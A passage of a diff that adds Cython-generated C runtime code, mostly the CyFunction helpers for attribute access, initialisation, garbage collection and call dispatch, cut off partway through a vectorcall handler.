Py_XDECREF(module_name); + } + if (unlikely(!value)) { + PyErr_Format(PyExc_ImportError, + #if PY_MAJOR_VERSION < 3 + "cannot import name %.230s", PyString_AS_STRING(name)); + #else + "cannot import name %S", name); + #endif + } + return value; +} + +/* PyVectorcallFastCallDict */ + #if CYTHON_METH_FASTCALL +static PyObject *__Pyx_PyVectorcall_FastCallDict_kw(PyObject *func, __pyx_vectorcallfunc vc, PyObject *const *args, size_t nargs, PyObject *kw) +{ + PyObject *res = NULL; + PyObject *kwnames; + PyObject **newargs; + PyObject **kwvalues; + Py_ssize_t i, pos; + size_t j; + PyObject *key, *value; + unsigned long keys_are_strings; + Py_ssize_t nkw = PyDict_GET_SIZE(kw); + newargs = (PyObject **)PyMem_Malloc((nargs + (size_t)nkw) * sizeof(args[0])); + if (unlikely(newargs == NULL)) { + PyErr_NoMemory(); + return NULL; + } + for (j = 0; j < nargs; j++) newargs[j] = args[j]; + kwnames = PyTuple_New(nkw); + if (unlikely(kwnames == NULL)) { + PyMem_Free(newargs); + return NULL; + } + kwvalues = newargs + nargs; + pos = i = 0; + keys_are_strings = Py_TPFLAGS_UNICODE_SUBCLASS; + while (PyDict_Next(kw, &pos, &key, &value)) { + keys_are_strings &= Py_TYPE(key)->tp_flags; + Py_INCREF(key); + Py_INCREF(value); + PyTuple_SET_ITEM(kwnames, i, key); + kwvalues[i] = value; + i++; + } + if (unlikely(!keys_are_strings)) { + PyErr_SetString(PyExc_TypeError, "keywords must be strings"); + goto cleanup; + } + res = vc(func, newargs, nargs, kwnames); +cleanup: + Py_DECREF(kwnames); + for (i = 0; i < nkw; i++) + Py_DECREF(kwvalues[i]); + PyMem_Free(newargs); + return res; +} +static CYTHON_INLINE PyObject *__Pyx_PyVectorcall_FastCallDict(PyObject *func, __pyx_vectorcallfunc vc, PyObject *const *args, size_t nargs, PyObject *kw) +{ + if (likely(kw == NULL) || PyDict_GET_SIZE(kw) == 0) { + return vc(func, args, nargs, NULL); + } + return __Pyx_PyVectorcall_FastCallDict_kw(func, vc, args, nargs, kw); +} +#endif + +/* CythonFunctionShared */ + #if CYTHON_COMPILING_IN_LIMITED_API +static CYTHON_INLINE int __Pyx__IsSameCyOrCFunction(PyObject *func, void *cfunc) { + if (__Pyx_CyFunction_Check(func)) { + return PyCFunction_GetFunction(((__pyx_CyFunctionObject*)func)->func) == (PyCFunction) cfunc; + } else if (PyCFunction_Check(func)) { + return PyCFunction_GetFunction(func) == (PyCFunction) cfunc; + } + return 0; +} +#else +static CYTHON_INLINE int __Pyx__IsSameCyOrCFunction(PyObject *func, void *cfunc) { + return __Pyx_CyOrPyCFunction_Check(func) && __Pyx_CyOrPyCFunction_GET_FUNCTION(func) == (PyCFunction) cfunc; +} +#endif +static CYTHON_INLINE void __Pyx__CyFunction_SetClassObj(__pyx_CyFunctionObject* f, PyObject* classobj) { +#if PY_VERSION_HEX < 0x030900B1 || CYTHON_COMPILING_IN_LIMITED_API + __Pyx_Py_XDECREF_SET( + __Pyx_CyFunction_GetClassObj(f), + ((classobj) ? __Pyx_NewRef(classobj) : NULL)); +#else + __Pyx_Py_XDECREF_SET( + ((PyCMethodObject *) (f))->mm_class, + (PyTypeObject*)((classobj) ? __Pyx_NewRef(classobj) : NULL)); +#endif +} +static PyObject * +__Pyx_CyFunction_get_doc(__pyx_CyFunctionObject *op, void *closure) +{ + CYTHON_UNUSED_VAR(closure); + if (unlikely(op->func_doc == NULL)) { +#if CYTHON_COMPILING_IN_LIMITED_API + op->func_doc = PyObject_GetAttrString(op->func, "__doc__"); + if (unlikely(!op->func_doc)) return NULL; +#else + if (((PyCFunctionObject*)op)->m_ml->ml_doc) { +#if PY_MAJOR_VERSION >= 3 + op->func_doc = PyUnicode_FromString(((PyCFunctionObject*)op)->m_ml->ml_doc); +#else + op->func_doc = PyString_FromString(((PyCFunctionObject*)op)->m_ml->ml_doc); +#endif + if (unlikely(op->func_doc == NULL)) + return NULL; + } else { + Py_INCREF(Py_None); + return Py_None; + } +#endif + } + Py_INCREF(op->func_doc); + return op->func_doc; +} +static int +__Pyx_CyFunction_set_doc(__pyx_CyFunctionObject *op, PyObject *value, void *context) +{ + CYTHON_UNUSED_VAR(context); + if (value == NULL) { + value = Py_None; + } + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(op->func_doc, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_name(__pyx_CyFunctionObject *op, void *context) +{ + CYTHON_UNUSED_VAR(context); + if (unlikely(op->func_name == NULL)) { +#if CYTHON_COMPILING_IN_LIMITED_API + op->func_name = PyObject_GetAttrString(op->func, "__name__"); +#elif PY_MAJOR_VERSION >= 3 + op->func_name = PyUnicode_InternFromString(((PyCFunctionObject*)op)->m_ml->ml_name); +#else + op->func_name = PyString_InternFromString(((PyCFunctionObject*)op)->m_ml->ml_name); +#endif + if (unlikely(op->func_name == NULL)) + return NULL; + } + Py_INCREF(op->func_name); + return op->func_name; +} +static int +__Pyx_CyFunction_set_name(__pyx_CyFunctionObject *op, PyObject *value, void *context) +{ + CYTHON_UNUSED_VAR(context); +#if PY_MAJOR_VERSION >= 3 + if (unlikely(value == NULL || !PyUnicode_Check(value))) +#else + if (unlikely(value == NULL || !PyString_Check(value))) +#endif + { + PyErr_SetString(PyExc_TypeError, + "__name__ must be set to a string object"); + return -1; + } + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(op->func_name, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_qualname(__pyx_CyFunctionObject *op, void *context) +{ + CYTHON_UNUSED_VAR(context); + Py_INCREF(op->func_qualname); + return op->func_qualname; +} +static int +__Pyx_CyFunction_set_qualname(__pyx_CyFunctionObject *op, PyObject *value, void *context) +{ + CYTHON_UNUSED_VAR(context); +#if PY_MAJOR_VERSION >= 3 + if (unlikely(value == NULL || !PyUnicode_Check(value))) +#else + if (unlikely(value == NULL || !PyString_Check(value))) +#endif + { + PyErr_SetString(PyExc_TypeError, + "__qualname__ must be set to a string object"); + return -1; + } + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(op->func_qualname, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_dict(__pyx_CyFunctionObject *op, void *context) +{ + CYTHON_UNUSED_VAR(context); + if (unlikely(op->func_dict == NULL)) { + op->func_dict = PyDict_New(); + if (unlikely(op->func_dict == NULL)) + return NULL; + } + Py_INCREF(op->func_dict); + return op->func_dict; +} +static int +__Pyx_CyFunction_set_dict(__pyx_CyFunctionObject *op, PyObject *value, void *context) +{ + CYTHON_UNUSED_VAR(context); + if (unlikely(value == NULL)) { + PyErr_SetString(PyExc_TypeError, + "function's dictionary may not be deleted"); + return -1; + } + if (unlikely(!PyDict_Check(value))) { + PyErr_SetString(PyExc_TypeError, + "setting function's dictionary to a non-dict"); + return -1; + } + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(op->func_dict, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_globals(__pyx_CyFunctionObject *op, void *context) +{ + CYTHON_UNUSED_VAR(context); + Py_INCREF(op->func_globals); + return op->func_globals; +} +static PyObject * +__Pyx_CyFunction_get_closure(__pyx_CyFunctionObject *op, void *context) +{ + CYTHON_UNUSED_VAR(op); + CYTHON_UNUSED_VAR(context); + Py_INCREF(Py_None); + return Py_None; +} +static PyObject * +__Pyx_CyFunction_get_code(__pyx_CyFunctionObject *op, void *context) +{ + PyObject* result = (op->func_code) ? op->func_code : Py_None; + CYTHON_UNUSED_VAR(context); + Py_INCREF(result); + return result; +} +static int +__Pyx_CyFunction_init_defaults(__pyx_CyFunctionObject *op) { + int result = 0; + PyObject *res = op->defaults_getter((PyObject *) op); + if (unlikely(!res)) + return -1; + #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + op->defaults_tuple = PyTuple_GET_ITEM(res, 0); + Py_INCREF(op->defaults_tuple); + op->defaults_kwdict = PyTuple_GET_ITEM(res, 1); + Py_INCREF(op->defaults_kwdict); + #else + op->defaults_tuple = __Pyx_PySequence_ITEM(res, 0); + if (unlikely(!op->defaults_tuple)) result = -1; + else { + op->defaults_kwdict = __Pyx_PySequence_ITEM(res, 1); + if (unlikely(!op->defaults_kwdict)) result = -1; + } + #endif + Py_DECREF(res); + return result; +} +static int +__Pyx_CyFunction_set_defaults(__pyx_CyFunctionObject *op, PyObject* value, void *context) { + CYTHON_UNUSED_VAR(context); + if (!value) { + value = Py_None; + } else if (unlikely(value != Py_None && !PyTuple_Check(value))) { + PyErr_SetString(PyExc_TypeError, + "__defaults__ must be set to a tuple object"); + return -1; + } + PyErr_WarnEx(PyExc_RuntimeWarning, "changes to cyfunction.__defaults__ will not " + "currently affect the values used in function calls", 1); + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(op->defaults_tuple, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_defaults(__pyx_CyFunctionObject *op, void *context) { + PyObject* result = op->defaults_tuple; + CYTHON_UNUSED_VAR(context); + if (unlikely(!result)) { + if (op->defaults_getter) { + if (unlikely(__Pyx_CyFunction_init_defaults(op) < 0)) return NULL; + result = op->defaults_tuple; + } else { + result = Py_None; + } + } + Py_INCREF(result); + return result; +} +static int +__Pyx_CyFunction_set_kwdefaults(__pyx_CyFunctionObject *op, PyObject* value, void *context) { + CYTHON_UNUSED_VAR(context); + if (!value) { + value = Py_None; + } else if (unlikely(value != Py_None && !PyDict_Check(value))) { + PyErr_SetString(PyExc_TypeError, + "__kwdefaults__ must be set to a dict object"); + return -1; + } + PyErr_WarnEx(PyExc_RuntimeWarning, "changes to cyfunction.__kwdefaults__ will not " + "currently affect the values used in function calls", 1); + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(op->defaults_kwdict, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_kwdefaults(__pyx_CyFunctionObject *op, void *context) { + PyObject* result = op->defaults_kwdict; + CYTHON_UNUSED_VAR(context); + if (unlikely(!result)) { + if (op->defaults_getter) { + if (unlikely(__Pyx_CyFunction_init_defaults(op) < 0)) return NULL; + result = op->defaults_kwdict; + } else { + result = Py_None; + } + } + Py_INCREF(result); + return result; +} +static int +__Pyx_CyFunction_set_annotations(__pyx_CyFunctionObject *op, PyObject* value, void *context) { + CYTHON_UNUSED_VAR(context); + if (!value || value == Py_None) { + value = NULL; + } else if (unlikely(!PyDict_Check(value))) { + PyErr_SetString(PyExc_TypeError, + "__annotations__ must be set to a dict object"); + return -1; + } + Py_XINCREF(value); + __Pyx_Py_XDECREF_SET(op->func_annotations, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_annotations(__pyx_CyFunctionObject *op, void *context) { + PyObject* result = op->func_annotations; + CYTHON_UNUSED_VAR(context); + if (unlikely(!result)) { + result = PyDict_New(); + if (unlikely(!result)) return NULL; + op->func_annotations = result; + } + Py_INCREF(result); + return result; +} +static PyObject * +__Pyx_CyFunction_get_is_coroutine(__pyx_CyFunctionObject *op, void *context) { + int is_coroutine; + CYTHON_UNUSED_VAR(context); + if (op->func_is_coroutine) { + return __Pyx_NewRef(op->func_is_coroutine); + } + is_coroutine = op->flags & __Pyx_CYFUNCTION_COROUTINE; +#if PY_VERSION_HEX >= 0x03050000 + if (is_coroutine) { + PyObject *module, *fromlist, *marker = __pyx_n_s_is_coroutine; + fromlist = PyList_New(1); + if (unlikely(!fromlist)) return NULL; + Py_INCREF(marker); +#if CYTHON_ASSUME_SAFE_MACROS + PyList_SET_ITEM(fromlist, 0, marker); +#else + if (unlikely(PyList_SetItem(fromlist, 0, marker) < 0)) { + Py_DECREF(marker); + Py_DECREF(fromlist); + return NULL; + } +#endif + module = PyImport_ImportModuleLevelObject(__pyx_n_s_asyncio_coroutines, NULL, NULL, fromlist, 0); + Py_DECREF(fromlist); + if (unlikely(!module)) goto ignore; + op->func_is_coroutine = __Pyx_PyObject_GetAttrStr(module, marker); + Py_DECREF(module); + if (likely(op->func_is_coroutine)) { + return __Pyx_NewRef(op->func_is_coroutine); + } +ignore: + PyErr_Clear(); + } +#endif + op->func_is_coroutine = __Pyx_PyBool_FromLong(is_coroutine); + return __Pyx_NewRef(op->func_is_coroutine); +} +#if CYTHON_COMPILING_IN_LIMITED_API +static PyObject * +__Pyx_CyFunction_get_module(__pyx_CyFunctionObject *op, void *context) { + CYTHON_UNUSED_VAR(context); + return PyObject_GetAttrString(op->func, "__module__"); +} +static int +__Pyx_CyFunction_set_module(__pyx_CyFunctionObject *op, PyObject* value, void *context) { + CYTHON_UNUSED_VAR(context); + return PyObject_SetAttrString(op->func, "__module__", value); +} +#endif +static PyGetSetDef __pyx_CyFunction_getsets[] = { + {(char *) "func_doc", (getter)__Pyx_CyFunction_get_doc, (setter)__Pyx_CyFunction_set_doc, 0, 0}, + {(char *) "__doc__", (getter)__Pyx_CyFunction_get_doc, (setter)__Pyx_CyFunction_set_doc, 0, 0}, + {(char *) "func_name", (getter)__Pyx_CyFunction_get_name, (setter)__Pyx_CyFunction_set_name, 0, 0}, + {(char *) "__name__", (getter)__Pyx_CyFunction_get_name, (setter)__Pyx_CyFunction_set_name, 0, 0}, + {(char *) "__qualname__", (getter)__Pyx_CyFunction_get_qualname, (setter)__Pyx_CyFunction_set_qualname, 0, 0}, + {(char *) "func_dict", (getter)__Pyx_CyFunction_get_dict, (setter)__Pyx_CyFunction_set_dict, 0, 0}, + {(char *) "__dict__", (getter)__Pyx_CyFunction_get_dict, (setter)__Pyx_CyFunction_set_dict, 0, 0}, + {(char *) "func_globals", (getter)__Pyx_CyFunction_get_globals, 0, 0, 0}, + {(char *) "__globals__", (getter)__Pyx_CyFunction_get_globals, 0, 0, 0}, + {(char *) "func_closure", (getter)__Pyx_CyFunction_get_closure, 0, 0, 0}, + {(char *) "__closure__", (getter)__Pyx_CyFunction_get_closure, 0, 0, 0}, + {(char *) "func_code", (getter)__Pyx_CyFunction_get_code, 0, 0, 0}, + {(char *) "__code__", (getter)__Pyx_CyFunction_get_code, 0, 0, 0}, + {(char *) "func_defaults", (getter)__Pyx_CyFunction_get_defaults, (setter)__Pyx_CyFunction_set_defaults, 0, 0}, + {(char *) "__defaults__", (getter)__Pyx_CyFunction_get_defaults, (setter)__Pyx_CyFunction_set_defaults, 0, 0}, + {(char *) "__kwdefaults__", (getter)__Pyx_CyFunction_get_kwdefaults, (setter)__Pyx_CyFunction_set_kwdefaults, 0, 0}, + {(char *) "__annotations__", (getter)__Pyx_CyFunction_get_annotations, (setter)__Pyx_CyFunction_set_annotations, 0, 0}, + {(char *) "_is_coroutine", (getter)__Pyx_CyFunction_get_is_coroutine, 0, 0, 0}, +#if CYTHON_COMPILING_IN_LIMITED_API + {"__module__", (getter)__Pyx_CyFunction_get_module, (setter)__Pyx_CyFunction_set_module, 0, 0}, +#endif + {0, 0, 0, 0, 0} +}; +static PyMemberDef __pyx_CyFunction_members[] = { +#if !CYTHON_COMPILING_IN_LIMITED_API + {(char *) "__module__", T_OBJECT, offsetof(PyCFunctionObject, m_module), 0, 0}, +#endif +#if CYTHON_USE_TYPE_SPECS + {(char *) "__dictoffset__", T_PYSSIZET, offsetof(__pyx_CyFunctionObject, func_dict), READONLY, 0}, +#if CYTHON_METH_FASTCALL +#if CYTHON_BACKPORT_VECTORCALL + {(char *) "__vectorcalloffset__", T_PYSSIZET, offsetof(__pyx_CyFunctionObject, func_vectorcall), READONLY, 0}, +#else +#if !CYTHON_COMPILING_IN_LIMITED_API + {(char *) "__vectorcalloffset__", T_PYSSIZET, offsetof(PyCFunctionObject, vectorcall), READONLY, 0}, +#endif +#endif +#endif +#if PY_VERSION_HEX < 0x030500A0 || CYTHON_COMPILING_IN_LIMITED_API + {(char *) "__weaklistoffset__", T_PYSSIZET, offsetof(__pyx_CyFunctionObject, func_weakreflist), READONLY, 0}, +#else + {(char *) "__weaklistoffset__", T_PYSSIZET, offsetof(PyCFunctionObject, m_weakreflist), READONLY, 0}, +#endif +#endif + {0, 0, 0, 0, 0} +}; +static PyObject * +__Pyx_CyFunction_reduce(__pyx_CyFunctionObject *m, PyObject *args) +{ + CYTHON_UNUSED_VAR(args); +#if PY_MAJOR_VERSION >= 3 + Py_INCREF(m->func_qualname); + return m->func_qualname; +#else + return PyString_FromString(((PyCFunctionObject*)m)->m_ml->ml_name); +#endif +} +static PyMethodDef __pyx_CyFunction_methods[] = { + {"__reduce__", (PyCFunction)__Pyx_CyFunction_reduce, METH_VARARGS, 0}, + {0, 0, 0, 0} +}; +#if PY_VERSION_HEX < 0x030500A0 || CYTHON_COMPILING_IN_LIMITED_API +#define __Pyx_CyFunction_weakreflist(cyfunc) ((cyfunc)->func_weakreflist) +#else +#define __Pyx_CyFunction_weakreflist(cyfunc) (((PyCFunctionObject*)cyfunc)->m_weakreflist) +#endif +static PyObject *__Pyx_CyFunction_Init(__pyx_CyFunctionObject *op, PyMethodDef *ml, int flags, PyObject* qualname, + PyObject *closure, PyObject *module, PyObject* globals, PyObject* code) { +#if !CYTHON_COMPILING_IN_LIMITED_API + PyCFunctionObject *cf = (PyCFunctionObject*) op; +#endif + if (unlikely(op == NULL)) + return NULL; +#if CYTHON_COMPILING_IN_LIMITED_API + op->func = PyCFunction_NewEx(ml, (PyObject*)op, module); + if (unlikely(!op->func)) return NULL; +#endif + op->flags = flags; + __Pyx_CyFunction_weakreflist(op) = NULL; +#if !CYTHON_COMPILING_IN_LIMITED_API + cf->m_ml = ml; + cf->m_self = (PyObject *) op; +#endif + Py_XINCREF(closure); + op->func_closure = closure; +#if !CYTHON_COMPILING_IN_LIMITED_API + Py_XINCREF(module); + cf->m_module = module; +#endif + op->func_dict = NULL; + op->func_name = NULL; + Py_INCREF(qualname); + op->func_qualname = qualname; + op->func_doc = NULL; +#if PY_VERSION_HEX < 0x030900B1 || CYTHON_COMPILING_IN_LIMITED_API + op->func_classobj = NULL; +#else + ((PyCMethodObject*)op)->mm_class = NULL; +#endif + op->func_globals = globals; + Py_INCREF(op->func_globals); + Py_XINCREF(code); + op->func_code = code; + op->defaults_pyobjects = 0; + op->defaults_size = 0; + op->defaults = NULL; + op->defaults_tuple = NULL; + op->defaults_kwdict = NULL; + op->defaults_getter = NULL; + op->func_annotations = NULL; + op->func_is_coroutine = NULL; +#if CYTHON_METH_FASTCALL + switch (ml->ml_flags & (METH_VARARGS | METH_FASTCALL | METH_NOARGS | METH_O | METH_KEYWORDS | METH_METHOD)) { + case METH_NOARGS: + __Pyx_CyFunction_func_vectorcall(op) = __Pyx_CyFunction_Vectorcall_NOARGS; + break; + case METH_O: + __Pyx_CyFunction_func_vectorcall(op) = __Pyx_CyFunction_Vectorcall_O; + break; + case METH_METHOD | METH_FASTCALL | METH_KEYWORDS: + __Pyx_CyFunction_func_vectorcall(op) = __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS_METHOD; + break; + case METH_FASTCALL | METH_KEYWORDS: + __Pyx_CyFunction_func_vectorcall(op) = __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS; + break; + case METH_VARARGS | METH_KEYWORDS: + __Pyx_CyFunction_func_vectorcall(op) = NULL; + break; + default: + PyErr_SetString(PyExc_SystemError, "Bad call flags for CyFunction"); + Py_DECREF(op); + return NULL; + } +#endif + return (PyObject *) op; +} +static int +__Pyx_CyFunction_clear(__pyx_CyFunctionObject *m) +{ + Py_CLEAR(m->func_closure); +#if CYTHON_COMPILING_IN_LIMITED_API + Py_CLEAR(m->func); +#else + Py_CLEAR(((PyCFunctionObject*)m)->m_module); +#endif + Py_CLEAR(m->func_dict); + Py_CLEAR(m->func_name); + Py_CLEAR(m->func_qualname); + Py_CLEAR(m->func_doc); + Py_CLEAR(m->func_globals); + Py_CLEAR(m->func_code); +#if !CYTHON_COMPILING_IN_LIMITED_API +#if PY_VERSION_HEX < 0x030900B1 + Py_CLEAR(__Pyx_CyFunction_GetClassObj(m)); +#else + { + PyObject *cls = (PyObject*) ((PyCMethodObject *) (m))->mm_class; + ((PyCMethodObject *) (m))->mm_class = NULL; + Py_XDECREF(cls); + } +#endif +#endif + Py_CLEAR(m->defaults_tuple); + Py_CLEAR(m->defaults_kwdict); + Py_CLEAR(m->func_annotations); + Py_CLEAR(m->func_is_coroutine); + if (m->defaults) { + PyObject **pydefaults = __Pyx_CyFunction_Defaults(PyObject *, m); + int i; + for (i = 0; i < m->defaults_pyobjects; i++) + Py_XDECREF(pydefaults[i]); + PyObject_Free(m->defaults); + m->defaults = NULL; + } + return 0; +} +static void __Pyx__CyFunction_dealloc(__pyx_CyFunctionObject *m) +{ + if (__Pyx_CyFunction_weakreflist(m) != NULL) + PyObject_ClearWeakRefs((PyObject *) m); + __Pyx_CyFunction_clear(m); + __Pyx_PyHeapTypeObject_GC_Del(m); +} +static void __Pyx_CyFunction_dealloc(__pyx_CyFunctionObject *m) +{ + PyObject_GC_UnTrack(m); + __Pyx__CyFunction_dealloc(m); +} +static int __Pyx_CyFunction_traverse(__pyx_CyFunctionObject *m, visitproc visit, void *arg) +{ + Py_VISIT(m->func_closure); +#if CYTHON_COMPILING_IN_LIMITED_API + Py_VISIT(m->func); +#else + Py_VISIT(((PyCFunctionObject*)m)->m_module); +#endif + Py_VISIT(m->func_dict); + Py_VISIT(m->func_name); + Py_VISIT(m->func_qualname); + Py_VISIT(m->func_doc); + Py_VISIT(m->func_globals); + Py_VISIT(m->func_code); +#if !CYTHON_COMPILING_IN_LIMITED_API + Py_VISIT(__Pyx_CyFunction_GetClassObj(m)); +#endif + Py_VISIT(m->defaults_tuple); + Py_VISIT(m->defaults_kwdict); + Py_VISIT(m->func_is_coroutine); + if (m->defaults) { + PyObject **pydefaults = __Pyx_CyFunction_Defaults(PyObject *, m); + int i; + for (i = 0; i < m->defaults_pyobjects; i++) + Py_VISIT(pydefaults[i]); + } + return 0; +} +static PyObject* +__Pyx_CyFunction_repr(__pyx_CyFunctionObject *op) +{ +#if PY_MAJOR_VERSION >= 3 + return PyUnicode_FromFormat("", + op->func_qualname, (void *)op); +#else + return PyString_FromFormat("", + PyString_AsString(op->func_qualname), (void *)op); +#endif +} +static PyObject * __Pyx_CyFunction_CallMethod(PyObject *func, PyObject *self, PyObject *arg, PyObject *kw) { +#if CYTHON_COMPILING_IN_LIMITED_API + PyObject *f = ((__pyx_CyFunctionObject*)func)->func; + PyObject *py_name = NULL; + PyCFunction meth; + int flags; + meth = PyCFunction_GetFunction(f); + if (unlikely(!meth)) return NULL; + flags = PyCFunction_GetFlags(f); + if (unlikely(flags < 0)) return NULL; +#else + PyCFunctionObject* f = (PyCFunctionObject*)func; + PyCFunction meth = f->m_ml->ml_meth; + int flags = f->m_ml->ml_flags; +#endif + Py_ssize_t size; + switch (flags & (METH_VARARGS | METH_KEYWORDS | METH_NOARGS | METH_O)) { + case METH_VARARGS: + if (likely(kw == NULL || PyDict_Size(kw) == 0)) + return (*meth)(self, arg); + break; + case METH_VARARGS | METH_KEYWORDS: + return (*(PyCFunctionWithKeywords)(void*)meth)(self, arg, kw); + case METH_NOARGS: + if (likely(kw == NULL || PyDict_Size(kw) == 0)) { +#if CYTHON_ASSUME_SAFE_MACROS + size = PyTuple_GET_SIZE(arg); +#else + size = PyTuple_Size(arg); + if (unlikely(size < 0)) return NULL; +#endif + if (likely(size == 0)) + return (*meth)(self, NULL); +#if CYTHON_COMPILING_IN_LIMITED_API + py_name = __Pyx_CyFunction_get_name((__pyx_CyFunctionObject*)func, NULL); + if (!py_name) return NULL; + PyErr_Format(PyExc_TypeError, + "%.200S() takes no arguments (%" CYTHON_FORMAT_SSIZE_T "d given)", + py_name, size); + Py_DECREF(py_name); +#else + PyErr_Format(PyExc_TypeError, + "%.200s() takes no arguments (%" CYTHON_FORMAT_SSIZE_T "d given)", + f->m_ml->ml_name, size); +#endif + return NULL; + } + break; + case METH_O: + if (likely(kw == NULL || PyDict_Size(kw) == 0)) { +#if CYTHON_ASSUME_SAFE_MACROS + size = PyTuple_GET_SIZE(arg); +#else + size = PyTuple_Size(arg); + if (unlikely(size < 0)) return NULL; +#endif + if (likely(size == 1)) { + PyObject *result, *arg0; + #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + arg0 = PyTuple_GET_ITEM(arg, 0); + #else + arg0 = __Pyx_PySequence_ITEM(arg, 0); if (unlikely(!arg0)) return NULL; + #endif + result = (*meth)(self, arg0); + #if !(CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS) + Py_DECREF(arg0); + #endif + return result; + } +#if CYTHON_COMPILING_IN_LIMITED_API + py_name = __Pyx_CyFunction_get_name((__pyx_CyFunctionObject*)func, NULL); + if (!py_name) return NULL; + PyErr_Format(PyExc_TypeError, + "%.200S() takes exactly one argument (%" CYTHON_FORMAT_SSIZE_T "d given)", + py_name, size); + Py_DECREF(py_name); +#else + PyErr_Format(PyExc_TypeError, + "%.200s() takes exactly one argument (%" CYTHON_FORMAT_SSIZE_T "d given)", + f->m_ml->ml_name, size); +#endif + return NULL; + } + break; + default: + PyErr_SetString(PyExc_SystemError, "Bad call flags for CyFunction"); + return NULL; + } +#if CYTHON_COMPILING_IN_LIMITED_API + py_name = __Pyx_CyFunction_get_name((__pyx_CyFunctionObject*)func, NULL); + if (!py_name) return NULL; + PyErr_Format(PyExc_TypeError, "%.200S() takes no keyword arguments", + py_name); + Py_DECREF(py_name); +#else + PyErr_Format(PyExc_TypeError, "%.200s() takes no keyword arguments", + f->m_ml->ml_name); +#endif + return NULL; +} +static CYTHON_INLINE PyObject *__Pyx_CyFunction_Call(PyObject *func, PyObject *arg, PyObject *kw) { + PyObject *self, *result; +#if CYTHON_COMPILING_IN_LIMITED_API + self = PyCFunction_GetSelf(((__pyx_CyFunctionObject*)func)->func); + if (unlikely(!self) && PyErr_Occurred()) return NULL; +#else + self = ((PyCFunctionObject*)func)->m_self; +#endif + result = __Pyx_CyFunction_CallMethod(func, self, arg, kw); + return result; +} +static PyObject *__Pyx_CyFunction_CallAsMethod(PyObject *func, PyObject *args, PyObject *kw) { + PyObject *result; + __pyx_CyFunctionObject *cyfunc = (__pyx_CyFunctionObject *) func; +#if CYTHON_METH_FASTCALL + __pyx_vectorcallfunc vc = __Pyx_CyFunction_func_vectorcall(cyfunc); + if (vc) { +#if CYTHON_ASSUME_SAFE_MACROS + return __Pyx_PyVectorcall_FastCallDict(func, vc, &PyTuple_GET_ITEM(args, 0), (size_t)PyTuple_GET_SIZE(args), kw); +#else + (void) &__Pyx_PyVectorcall_FastCallDict; + return PyVectorcall_Call(func, args, kw); +#endif + } +#endif + if ((cyfunc->flags & __Pyx_CYFUNCTION_CCLASS) && !(cyfunc->flags & __Pyx_CYFUNCTION_STATICMETHOD)) { + Py_ssize_t argc; + PyObject *new_args; + PyObject *self; +#if CYTHON_ASSUME_SAFE_MACROS + argc = PyTuple_GET_SIZE(args); +#else + argc = PyTuple_Size(args); + if (unlikely(!argc) < 0) return NULL; +#endif + new_args = PyTuple_GetSlice(args, 1, argc); + if (unlikely(!new_args)) + return NULL; + self = PyTuple_GetItem(args, 0); + if (unlikely(!self)) { + Py_DECREF(new_args); +#if PY_MAJOR_VERSION > 2 + PyErr_Format(PyExc_TypeError, + "unbound method %.200S() needs an argument", + cyfunc->func_qualname); +#else + PyErr_SetString(PyExc_TypeError, + "unbound method needs an argument"); +#endif + return NULL; + } + result = __Pyx_CyFunction_CallMethod(func, self, new_args, kw); + Py_DECREF(new_args); + } else { + result = __Pyx_CyFunction_Call(func, args, kw); + } + return result; +} +#if CYTHON_METH_FASTCALL +static CYTHON_INLINE int __Pyx_CyFunction_Vectorcall_CheckArgs(__pyx_CyFunctionObject *cyfunc, Py_ssize_t nargs, PyObject *kwnames) +{ + int ret = 0; + if ((cyfunc->flags & __Pyx_CYFUNCTION_CCLASS) && !(cyfunc->flags & __Pyx_CYFUNCTION_STATICMETHOD)) { + if (unlikely(nargs < 1)) { + PyErr_Format(PyExc_TypeError, "%.200s() needs an argument", + ((PyCFunctionObject*)cyfunc)->m_ml->ml_name); + return -1; + } + ret = 1; + } + if (unlikely(kwnames) && unlikely(PyTuple_GET_SIZE(kwnames))) { + PyErr_Format(PyExc_TypeError, + "%.200s() takes no keyword arguments", ((PyCFunctionObject*)cyfunc)->m_ml->ml_name); + return -1; + } + return ret; +} +static PyObject * __Pyx_CyFunction_Vectorcall_NOARGS(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames) +{ + __pyx_CyFunctionObject *cyfunc = (__pyx_CyFunctionObject *)func; + PyMethodDef* def = ((PyCFunctionObject*)cyfunc)->m_ml; +#if CYTHON_BACKPORT_VECTORCALL + Py_ssize_t nargs = (Py_ssize_t)nargsf; +#else + Py_ssize_t nargs = PyVectorcall_NARGS(nargsf); +#endif + PyObject *self; + switch (__Pyx_CyFunction_Vectorcall_CheckArgs(cyfunc, nargs, kwnames)) { + case 1: + self = args[0]; + args += 1; + nargs -= 1; + break; + case 0: + self = ((PyCFunctionObject*)cyfunc)->m_self; + break; + default: + return NULL; + } + if (unlikely(nargs != 0)) { + PyErr_Format(PyExc_TypeError, + "%.200s() takes no arguments (%" CYTHON_FORMAT_SSIZE_T "d given)", + def->ml_name, nargs); + return NULL; + } + return def->ml_meth(self, NULL); +} +static PyObject * __Pyx_CyFunction_Vectorcall_O(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames) +{ + __pyx_CyFunctionObject *cyfunc = (__pyx_CyFunctionObject *)func; + PyMethodDef* def = ((PyCFunctionObject*)cyfunc)->m_ml; +#if CYTHON_BACKPORT_VECTORCALL + Py_ssize_t nargs = (Py_ssize_t)nargsf; +#else + Py_ssize_t nargs = PyVectorcall_NARGS(nargsf); +#endif + PyObject *self; + switch 